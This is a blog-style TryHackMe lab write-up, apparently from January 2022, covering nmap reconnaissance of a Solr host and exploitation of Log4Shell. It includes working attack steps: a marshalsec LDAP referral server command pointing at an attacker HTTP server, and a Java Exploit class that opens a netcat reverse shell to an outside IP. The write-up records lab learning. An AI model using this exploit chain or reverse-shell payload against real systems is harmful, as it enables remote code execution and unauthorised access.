TryHackMe: Complete Beginner (Supplements) & Exploiting Log4j

author: Nathan Acks
date: 2022-01-02

Finishing up the supplemental rooms around the TryHackMe: Complete Beginner sequence and then working through a special room covering the recently discovered Log4j vulnerabilities as a fun aside.

TryHackMe: Complete Beginner (Supplements)

Retro

See my Retro CTF write-up.

Exploiting Log4j

Reconnaissance

The target has an IP address of 10.10.177.64. We’ll start off with a normal nmap scan, though I’m going to be a bit less aggressive since we’re just looking to enumerate ports/services.

sudo nmap -v -oA solar -A -T4 -sS -p- 10.10.177.64

This gives us:

# Nmap 7.92 scan initiated Sun Jan  2 20:58:25 2022 as: nmap -v -oA solar -A -T4 -sS -p- 10.10.177.64
Nmap scan report for 10.10.177.64
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 (RSA)
|   256 b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 (ECDSA)
|_  256 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 (ED25519)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
8983/tcp open  http    Apache Solr
| http-title: Solr Admin
|_Requested resource was http://10.10.177.64:8983/solr/
|_http-favicon: Unknown favicon MD5: ED7D5C39C69262F4BA95418D4F909B10
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=1/2%OT=22%CT=1%CU=42554%PV=Y%DS=4%DC=T%G=Y%TM=61D276A8
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11
OS:NW7%O6=M506ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(
OS:R=Y%DF=Y%T=40%W=6903%O=M506NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Uptime guess: 44.471 days (since Fri Nov 19 09:49:52 2021)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   29.11 ms  10.13.0.1
2   ... 3
4   171.20 ms 10.10.177.64

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan  2 21:08:08 2022 -- 1 IP address (1 host up) scanned in 582.99 seconds

The service running on port 8983 has an HTML page title of “Solr Admin”, which seems to be part of Apache Solr.

Proof of Concept

It’s still not 100% clear to me why use of LDAP is required to trigger Log4Shell, but I’m guessing this is used because it’s one of the protocols that JNDI supports. This makes a little more sense given that JNDI stands for the Java Naming and Directory Interface… But it still feels kinda wacky to me that one would store Java objects in… LDAP.

Exploitation

This section makes the question I wrote above at least a little more clear – LDAP is providing a URL using a more sensible protocol like HTTP that JNDI is then loading the Java code from. So the sequence is malicious request -> LDAP lookup -> load Java code over HTTP.

A simple Java LDAP server that will do just this is available at https://github.com/mbechler/marshalsec. It can be built with Apache Maven using the version of OpenJDK supplied with Kali Linux:

mvn clean package -DskipTests

And run with:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
         marshalsec.jndi.LDAPRefServer \
         "http://$ATTACKER_IP:$ATTACKER_PORT/#Exploit"

Where $ATTACKER_IP and $ATTACKER_PORT are the IP address and port of an HTTP server that will be used to actually serve up the exploit.

A simple Java exploit that pops a reverse shell (at least on Linux systems with a version of netcat that supports the -e switch) is:

public class Exploit {
	static {
		try {
			java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 1.2.3.4 9999");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

Where 1.2.3.4 should match $ATTACKER_IP above, and 9999 is the port of the local listener. This can be compiled with:

javac Exploit.java -source 8 -target 8

Note that the -source and -target flags may need to be modified depending on which version of Java the target is running. As with all things Java, the file name and file class name need to match.

Persistence

Generic netcat shell stabilization steps (when running bash at both ends):

That should be good enough.